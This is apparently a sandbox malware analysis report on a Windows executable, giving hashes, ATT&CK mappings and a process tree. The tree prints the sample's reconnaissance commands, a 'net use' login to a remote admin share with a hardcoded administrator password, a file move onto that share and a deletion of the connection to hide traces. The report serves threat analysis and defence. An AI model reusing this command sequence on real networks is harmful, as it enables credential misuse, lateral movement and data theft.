bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364

max time kernel
148s
max time network
182s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
12/07/2026, 12:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Red-Flaged/bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe
Size 820KB
Sample260712-p5a8dsas8k
SHA256 bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364
MD5 4f8091a5513659b2980cb53578d3f798
SHA1 60f925ca7f6d2ea77fd58b14d6259c4256fba899
SHA512 ad99a6e51e4bb68856f7ae2d85eee777ba55fd93808805df8991535bbc72ebe28a3f20557ca234aa76702608fa2539c02011b3f17b4b571fd1b06970a42b0fe5
SSDEEP 24576:4AzX0QVt4LjwctL0fn7J7eKj6a5VCxoq:bRccw47J7Fj99q
TLSH
T1CE051901E660D039F69301FBC7B681B8AE24AF30134554DFA2D879E59B368E63D3752B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery persistence privilege_escalation spyware stealer

Malware Config

Signatures

Indicator Removal: Network Share Connection Removal 1 TTPs 2 IoCs

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

defense_evasion

Network Share Connection Removal

T1070.005

pid	Process
1444	cmd.exe
3380	net.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
3508	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NETSTAT.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1436	cmd.exe
3908	PING.EXE

System Network Connections Discovery 1 TTPs 2 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
3284	cmd.exe
4696	NETSTAT.EXE

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4832	ipconfig.exe
4696	NETSTAT.EXE

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3908	PING.EXE

Suspicious behavior: LoadsDriver 1 IoCs

pid
4

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3508	tasklist.exe
Token: SeDebugPrivilege	4696	NETSTAT.EXE

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2416 wrote to memory of 4440	2416	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe	87
PID 2416 wrote to memory of 4976	2416	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe	89
PID 2416 wrote to memory of 3284	2416	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe	91
PID 2416 wrote to memory of 5972	2416	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe	93
PID 4440 wrote to memory of 4832	4440	cmd.exe	95
PID 4976 wrote to memory of 3508	4976	cmd.exe	96
PID 3284 wrote to memory of 4696	3284	cmd.exe	97
PID 5972 wrote to memory of 4980	5972	cmd.exe	98
PID 2416 wrote to memory of 984	2416	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe	101
PID 984 wrote to memory of 2564	984	cmd.exe	103
PID 2416 wrote to memory of 4816	2416	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe	104
PID 2416 wrote to memory of 1444	2416	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe	106
PID 2416 wrote to memory of 1436	2416	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe	108
PID 1444 wrote to memory of 3380	1444	cmd.exe	109
PID 1436 wrote to memory of 3908	1436	cmd.exe	111

C:\Users\Admin\AppData\Local\Temp\Red-Flaged\bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe
"C:\Users\Admin\AppData\Local\Temp\Red-Flaged\bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2416
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c ipconfig /all > "C:\Users\Admin\AppData\Local\Temp\\temp\res.ip"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4440
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /all
    3⤵
    - System Location Discovery: System Language Discovery
    - Gathers network information
    PID:4832
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c tasklist > "C:\Users\Admin\AppData\Local\Temp\\temp\task.list"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4976
- - C:\Windows\SysWOW64\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3508
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c netstat -naop tcp > "C:\Users\Admin\AppData\Local\Temp\\temp\netstat.res"
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Connections Discovery
  - Suspicious use of WriteProcessMemory
  PID:3284
- - C:\Windows\SysWOW64\NETSTAT.EXE
    netstat -naop tcp
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Connections Discovery
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:4696
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c netsh interface ip show config > "C:\Users\Admin\AppData\Local\Temp\\temp\netsh.res"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5972
- - C:\Windows\SysWOW64\netsh.exe
    netsh interface ip show config
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:4980
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c net use \\10.38.1.35\C$ su.controller5kk /user:KKNPP\administrator
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:984
- - C:\Windows\SysWOW64\net.exe
    net use \\10.38.1.35\C$ su.controller5kk /user:KKNPP\administrator
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2564
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c move /y C:\Users\Admin\AppData\Local\Temp\\~2ACBA029MT.tmp \\10.38.1.35\C$\Windows\Temp\MpLogs\
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4816
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c net use \\10.38.1.35\C$ /delete
  2⤵
  - Indicator Removal: Network Share Connection Removal
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1444
- - C:\Windows\SysWOW64\net.exe
    net use \\10.38.1.35\C$ /delete
    3⤵
    - Indicator Removal: Network Share Connection Removal
    - System Location Discovery: System Language Discovery
    PID:3380
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c ping -n 3 127.0.0.1 >NUL & echo EEEE > ""
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1436
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3908

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Indicator Removal

T1070

Network Share Connection Removal

T1070.005

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

netsh.res

Path C:\Users\Admin\AppData\Local\Temp\temp\netsh.res
Size 952B
SHA256 1239fd8d0001389471ec34a94399652c954d9c26dfe0008a6fd7d9a24d50d88e
MD5 cf4d6fa02670c522ccd2bb01c3a46eba
SHA1 b68f0e51f07bd165acfcdb35a5d37fe9a4e9fbf3
SHA512 1bb58f73d860e4122eb0c5ee334b52df0ab0e94c07c71365aa917428e5b9d48a34503cb3a58cf70089a540a421e609d553ed3acaf2ccd14b7b0544b0781dbcf9
TLSH
T1D6114C270602B487ACF697494962DE70ED62C533041D243DB21D72C94FF22EF6B4825E
MD5 SHA1 SHA512 TLSH

Submit Download

netstat.res

Path C:\Users\Admin\AppData\Local\Temp\temp\netstat.res
Size 1KB
SHA256 bc4e6dfd0ab8a8b26c0acae88fcd3940effb247c3276fbf39c3c79f790c3f8ce
MD5 1ec73513b6c57eb524b6fca8c7e3f88d
SHA1 211eb19d2f194beca258e371cf67327cb9829423
SHA512 c82ca728f4d0ec65b96c65f9d8483353d175aedf1f2e45f9131c83bdd302f0dc2e66a527ec64a76892e27fa2d24b1c15ddbf76e6b2c7d552909e152306d10ffd
TLSH
T1A831F493232D31DA767EDA92645DC966D0AD86B3281F2418B26F0DC4CB3C35C2FDA11C
MD5 SHA1 SHA512 TLSH

Submit Download

res.ip

Path C:\Users\Admin\AppData\Local\Temp\temp\res.ip
Size 1021B
SHA256 b531f123f903f06f12977d7a839861b7018b87f73db8b1f3874ef58d9ef49d30
MD5 2d994c70a5796bb970ea80e7b0ec8e3a
SHA1 fb015ff87be54f39bced5fd7ab5f8a314eb99b55
SHA512 1a019bc75f19cea60b3a6cf80d6b120200de2349468a78e1bb57505a5c4250d1c06b764bb49652dab241f1a9cbca2f46b06b589353f464785401e35e36241e42
TLSH
T16111FD8C12A4F00333BE82015C696B75E1D04D63C003E5B5BCBDB548BD322B0A742AE3
MD5 SHA1 SHA512 TLSH

Submit Download

task.list

Path C:\Users\Admin\AppData\Local\Temp\temp\task.list
Size 7KB
SHA256 1c2e2e677d0bbe8c206c9fff2992b7202e0968056aa95ab6be95958efe48aec6
MD5 4c46e1469b8a6033b0c0f110427c246a
SHA1 95eeaf69da3c0110028d74fe389dc60fe647f125
SHA512 42272d7e96219be6e69eb16aa8fcb683f29e3fac1728a7b8a93a2a7dccfb63ac9ef3d680f67eda499a5ba0b138eba8112bdd9d14c1f11a7a0f76626d9316c8da
SSDEEP 192:T4m9cV0rnprsQsCLX9ASDsngqHdZ6bfDRH90SJAlvLQS+cfiM+xHmzYmvHENoirb:T4m9cV2nprsQsCLX9ASDsngq9Z6bfDRF
TLSH
T165E10085489F85EC956DD3983A230003EB5E5500316AADD93ADE18EC37E5F1CE7EFA60
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads